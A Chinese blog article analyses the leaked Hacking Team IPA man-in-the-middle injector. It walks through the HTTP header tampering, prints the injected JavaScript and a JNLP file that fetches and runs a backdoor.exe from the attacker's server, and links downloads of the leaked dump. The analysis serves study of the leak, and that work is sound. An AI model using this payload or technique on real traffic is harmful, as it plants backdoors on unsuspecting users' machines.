搜索
首页web前端html教程中间人攻击之html注入_html/css_WEB-ITnose

0×00 序

很久之前写的文章,现在拿出来分享。事先声明本人是一枚爱捣鼓的小菜,所以对泄漏资料的分析难免会有疏忽或着错误,望各位围观的大侠手下留情。

今年7月5日晚,一家意大利软件厂商被攻击,其掌握的387.05GB漏洞(包括0day)数据泄露出来,由此可能引发的动荡,引起了业界一片哗然。因为所有文件加起来的大小整整有387.05GB,光下载就得好久好久。在这里我提供一个完整版的百度网盘下载地址,有兴趣的同学可以直接去下载:http://yun.baidu.com/s/1jG8fOxS 。据说之所以这么大是因为里面有很多的邮件。但你不用担心你的小水管,有好人整理了一个只有1.3G的精华版。在这里我也提供一个百度网盘下载地址:http://yun.baidu.com/s/1eQDFm18 。在下载完完整版之前,我们就先拿精华版解解馋吧。

0×01 前言

这里的IPA不是Apple程序应用文件iPhoneApplication的缩写,而是Injection Proxy Appliance的缩写,Injection Proxy Appliance是Galileo Remote Control System(伽利略远程控制系统,简称RCS)的一部分,其主要作用是:

IPA是Hacking Team RCS系统用于攻击的安全设备,并且其中使用中间人攻击技术和streamline injection机制,它可以在不同的网络情况下透明地进行操作,无论是在局域网还是内部交换机上。IPA还可从监控的网络流量中检测HTTP连接,对其进行中间人攻击,主要有三种攻击方式:注入HTML、注入EXE和替换攻击。当监控的HTTP连接命中预先设置的规则时,IPA 将执行注入攻击。IPA 可以设置需要注入的用户(如IP地址),资源(如可执行文件)等规则。

其vector-ipa的源代码在Hacked Team\rcs-dev\share\HOME\Fabio\archive\projects\pc\RCSRedirect文件夹中 ,其内容如图1。 

图1  vector-ipa内容

通过源码发现,这是在Linux环境下使用Makefile文件对整个工程进行编译、连接等的C代码,并且还使用了openssl库。

0×02 攻击原理

基于HTTP/1.0协议的客户机和服务器信息交换的过程包括四个步骤:

(1)建立连接;(2)发送请求;(3)回送响应信息;(4)关闭连接。

IPA通过代理的模式监控的网络流量中检测HTTP连接,并劫持HTTP连接的Http Header,通过修改Http Header内容实现攻击,其攻击流程如图2。

图2  IPA进行http注入攻击流程

从图2中可知,其攻击的最主要的两个步骤就是 修改HTTP Request Header将木马写入HTTP Reply Header 。下面重点介绍一下这两步。

0×03  HTTP Request Header

1、将HTTP协议从1.1降到1.0以避免分块编码和其他问题

首先,HTTP/1.0和HTTP/1.1的其中一个区别就是:

(1)HTTP 1.0规定浏览器与服务器只保持短暂的连接,浏览器的每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理后立即断开TCP连接,服务器不跟踪每个客户也不记录过去的请求。如图3所示。

图3  HTTP/1.0连接

(2)HTTP 1.1支持持久连接,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟。一个包含有许多图像的网页文件的多个请求和应答可以在一个连接中传输,但每个单独的网页文件的请求和应答仍然需要使用各自的连接。如图4所示。

图4  HTTP/1.1连接

因为http注入不需要使用持久性连接,所以我们需要修改它为HTTP/1.0协议,这样做的话可以避免分块编码和其他一些问题。

2、强制使用纯编码,以避免任何类型的压缩

HTTP Header中Accept-Encoding是浏览器发给服务器,声明浏览器支持的编码类型的。

常见的有:

Accept-Encoding: compress, gzip //支持compress 和gzip类型Accept-Encoding:               //默认是identityAccept-Encoding: *             //支持所有类型 Accept-Encoding: compress;q=0.5, gzip;q=1.0//按顺序支持 gzip , compressAccept-Encoding: gzip;q=1.0, identity; q=0.5, *;q=0   //按顺序支持 gzip , identity

为了后面更好的修改HTTP Reply Header,需要将 Accept-Encoding 设置为 none ,这样可以避免任何类型的压缩,源码如图5所示。

图5  设置Accept-Encoding为none

3、不使用缓存(避免服务器返回304响应)

不使用缓存就是为了更好的得到新的文件,需要删除Cache 头域中的If-Modified-Since和If-None-Match,如图6所示。

图6  删除Cache头域中的If-Modified-Since和If-None-Match

If-Modified-Since

把客户端端缓存页面的最后修改时间发送到服务器去,服务器会把这个时间与服务器上实际文件的最后修改时间进行对比。如果时间一致,那么返回304,客户端就直接使用本地缓存文件。如果时间不一致,就会返回200和新的文件内容。客户端接到之后,会丢弃旧文件,把新文件缓存起来,并显示在浏览器中。如图7所示。

图7  If-Modified-Since

If-None-Match

If-None-Match和ETag一起工作,工作原理是在HTTP Response中添加ETag信息。 当用户再次请求该资源时,将在HTTP Request 中加入If-None-Match信息(ETag的值)。如果服务器验证资源的ETag没有改变(该资源没有更新),将返回一个304状态告诉客户端使用本地缓存文件。否则将返回200状态和新的资源和Etag。如图8所示。

图8  If-None-Match

4、关闭保持连接

我们都知道Connection: keep-alive和Connection: close的区别:

Connection: keep-alive

当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。

Connection: close

代表一个Request完成后,客户端和服务器之间用于传输HTTP数据的TCP连接会关闭, 当客户端再次发送Request,需要重新建立TCP连接。

前面我们将HTTP协议从1.1降到1.0,为了HTTP Request Header中可能存在Connection: keep-alive而导致后面修改HTTP Reply Header时出问题。

这样我们就把HTTP Request Header修改完成了,接着就是向服务器发送请求啦~

0×04  木马文件

在前面我们把修改之后的HTTP Request Header发送到服务器,这样服务也返回了HTTP Reply Header响应。那接下来的这步也是最关键的一步,就是将木马写入HTTP Reply Header中。

1、读取木马文件内容

在这之前,我们需要对木马文件进行准备检测,如果不存在的话,则返回一个新的BIO。

图9  木马文件准备检测

从上面的木马文件准备检测可以发现,其中木马文件如图10所示。

图10  木马文件

注入的原理就是在HTTP Reply Header的

标签中注入一段JavaScript脚本。其JavaScript脚本的内容如下:
<script language="javascript" type="text/javascript">    if (navigator.platform == "Win32")    {        if (navigator.appName == "Microsoft Internet Explorer")        {            document.write("<iframe src =\"\" width=\"0\" height=\"0\"></iframe> <object classid=\"clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284\" height=0 width=0 > <param name=\"app\"  value=\"%IPA_URL%/JwsUpdater.jnlp\"> <param name=\"type\" value=\"application/x-java-jnlp-file\"> <param name=\"back\" VALUE=\"false\"> </object> ");        }        else        {            document.write("<meta http-equiv=\"refresh\" content=\"0;url=%IPA_URL%/JwsUpdater.jnlp\" />");        }    }</script>

从JavaScript脚本中,发现脚本跳转到一个JwsUpdater.jnlp的文件。先普及一下什么是JNLP?

JNLP(Java Network Launching Protocol )是java提供的一种可以通过浏览器直接执行java应用程序的途径,它使你可以直接通过一个网页上的url连接打开一个java应用程序。Java桌面应用程序以JNLP 的方式发布,如果版本升级后,不需要再向所有用户发布版本,只需要更新服务器的版本,这就相当于让java应用程序有了web应用的优点。

使用jnlp文件就是为了能够通过浏览器打开一个网页上的URL连接来执行java木马应用程序。

<?xml version="1.0" encoding="utf-8"?><jnlp codebase="%IPA_URL%" spec="1.0+"> <information>   <title>Java Web Start Updater</title>   <vendor>%SITE_HOSTNAME%</vendor> </information> <security>   <all-permissions/> </security> <resources>   <j2se version="1.4.2+"/>   <jar href="JwsUpdater.jar"/> </resources> <application-desc main-class="com.sun.JwsInstaller.JwsUpdater">   <argument>%IPA_URL%/backdoor.exe</argument> </application-desc></jnlp>

其中,在标签中发现会把.jar文件下载到本地。而在application-desc设定参数的话,则会以安全的方式来执行jar文件中的com.sun.JwsInstaller.JwsUpdater类,自动加载服务器上的后门程序。

如果检测通过之后,就是将木马文件JwsUpdater.html的内容读取到html_to_inject中。

2、修改IPA_URL

在前面无论是JwsUpdater.html文件,还是JwsUpdater.jnlp文件都有一个“%IPA_URL%”。我需要把“%IPA_URL%”修改为工作服务器的地址。

3、设置搜索关键字和注入缓冲器

木马脚本、服务器网站都修改好,那么万事俱备只欠东风。对的,设置搜索关键字和注入缓冲器就是那阵东风。

先来了解一个结构体:

struct bio_inject_setup {   char *search;   char *inject;   size_t inject_len;};

其中,有三个成员,分别是搜索关键字(search)、注入木马脚本内容(inject)和注入木马脚本的长度(inject_len)。

前面也提到了,我们的木马内容是一段JavaScript脚本,所以注入木马脚本之处就是html文件中

标签内。

0×05  HTTP Reply Header

木马文件都准备好,那么接下来就是把木马文件写入到HTTP Reply Header中。分下面三个步骤:

1、将木马写入HTTP Reply Header

前面我们,设置搜索关键字和注入缓冲器。

在HTTP Reply Header搜索关键字,再把注入缓冲器的内容写入到HTTP Reply Header即可。如图11所示:

图11  将木马写入HTTP Reply Header

2、检查HTTP Reply Header是否gzip压缩

HTTP Reply Header必须采用纯编码,不能对其进行压缩。所以如果发现HTTP Reply Header有压缩的话,则停止攻击。

3、调整HTTP Reply Header的Content-Length属性

前面,在HTTP Reply Header中注入了木马脚本,所以HTTP Reply Header的长度肯定变化了,所以,我们需要调整HTTP Reply Header的Content-Length属性。

到这为止,就差最后一步,就是把HTTP Reply Header发送回客户端。这样就把木马程序种植到客户端。接下来就可以利用后门程序,做一系列的攻击。

*原创作者:LiukerTeam,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
HTML中的布尔属性是什么?举一些例子。HTML中的布尔属性是什么?举一些例子。Apr 25, 2025 am 12:01 AM

布尔属性是HTML中的特殊属性,不需要值即可激活。1.布尔属性通过存在与否控制元素行为,如disabled禁用输入框。2.它们的工作原理是浏览器解析时根据属性的存在改变元素行为。3.基本用法是直接添加属性,高级用法可通过JavaScript动态控制。4.常见错误是误以为需要设置值,正确写法应简洁。5.最佳实践是保持代码简洁,合理使用布尔属性以优化网页性能和用户体验。

如何验证您的HTML代码?如何验证您的HTML代码?Apr 24, 2025 am 12:04 AM

HTML代码可以通过在线验证器、集成工具和自动化流程来确保其清洁度。1)使用W3CMarkupValidationService在线验证HTML代码。2)在VisualStudioCode中安装并配置HTMLHint扩展进行实时验证。3)利用HTMLTidy在构建流程中自动验证和清理HTML文件。

HTML与CSS和JavaScript:比较Web技术HTML与CSS和JavaScript:比较Web技术Apr 23, 2025 am 12:05 AM

HTML、CSS和JavaScript是构建现代网页的核心技术:1.HTML定义网页结构,2.CSS负责网页外观,3.JavaScript提供网页动态和交互性,它们共同作用,打造出用户体验良好的网站。

HTML作为标记语言:其功能和目的HTML作为标记语言:其功能和目的Apr 22, 2025 am 12:02 AM

HTML的功能是定义网页的结构和内容,其目的在于提供一种标准化的方式来展示信息。1)HTML通过标签和属性组织网页的各个部分,如标题和段落。2)它支持内容与表现分离,提升维护效率。3)HTML具有可扩展性,允许自定义标签增强SEO。

HTML,CSS和JavaScript的未来:网络开发趋势HTML,CSS和JavaScript的未来:网络开发趋势Apr 19, 2025 am 12:02 AM

HTML的未来趋势是语义化和Web组件,CSS的未来趋势是CSS-in-JS和CSSHoudini,JavaScript的未来趋势是WebAssembly和Serverless。1.HTML的语义化提高可访问性和SEO效果,Web组件提升开发效率但需注意浏览器兼容性。2.CSS-in-JS增强样式管理灵活性但可能增大文件体积,CSSHoudini允许直接操作CSS渲染。3.WebAssembly优化浏览器应用性能但学习曲线陡,Serverless简化开发但需优化冷启动问题。

HTML:结构,CSS:样式,JavaScript:行为HTML:结构,CSS:样式,JavaScript:行为Apr 18, 2025 am 12:09 AM

HTML、CSS和JavaScript在Web开发中的作用分别是:1.HTML定义网页结构,2.CSS控制网页样式,3.JavaScript添加动态行为。它们共同构建了现代网站的框架、美观和交互性。

HTML的未来:网络设计的发展和趋势HTML的未来:网络设计的发展和趋势Apr 17, 2025 am 12:12 AM

HTML的未来充满了无限可能。1)新功能和标准将包括更多的语义化标签和WebComponents的普及。2)网页设计趋势将继续向响应式和无障碍设计发展。3)性能优化将通过响应式图片加载和延迟加载技术提升用户体验。

HTML与CSS vs. JavaScript:比较概述HTML与CSS vs. JavaScript:比较概述Apr 16, 2025 am 12:04 AM

HTML、CSS和JavaScript在网页开发中的角色分别是:HTML负责内容结构,CSS负责样式,JavaScript负责动态行为。1.HTML通过标签定义网页结构和内容,确保语义化。2.CSS通过选择器和属性控制网页样式,使其美观易读。3.JavaScript通过脚本控制网页行为,实现动态和交互功能。

See all articles

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

SublimeText3 英文版

SublimeText3 英文版

推荐:为Win版本,支持代码提示!

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

功能强大的PHP集成开发环境

MinGW - 适用于 Windows 的极简 GNU

MinGW - 适用于 Windows 的极简 GNU

这个项目正在迁移到osdn.net/projects/mingw的过程中,你可以继续在那里关注我们。MinGW:GNU编译器集合(GCC)的本地Windows移植版本,可自由分发的导入库和用于构建本地Windows应用程序的头文件;包括对MSVC运行时的扩展,以支持C99功能。MinGW的所有软件都可以在64位Windows平台上运行。

适用于 Eclipse 的 SAP NetWeaver 服务器适配器

适用于 Eclipse 的 SAP NetWeaver 服务器适配器

将Eclipse与SAP NetWeaver应用服务器集成。

Atom编辑器mac版下载

Atom编辑器mac版下载

最流行的的开源编辑器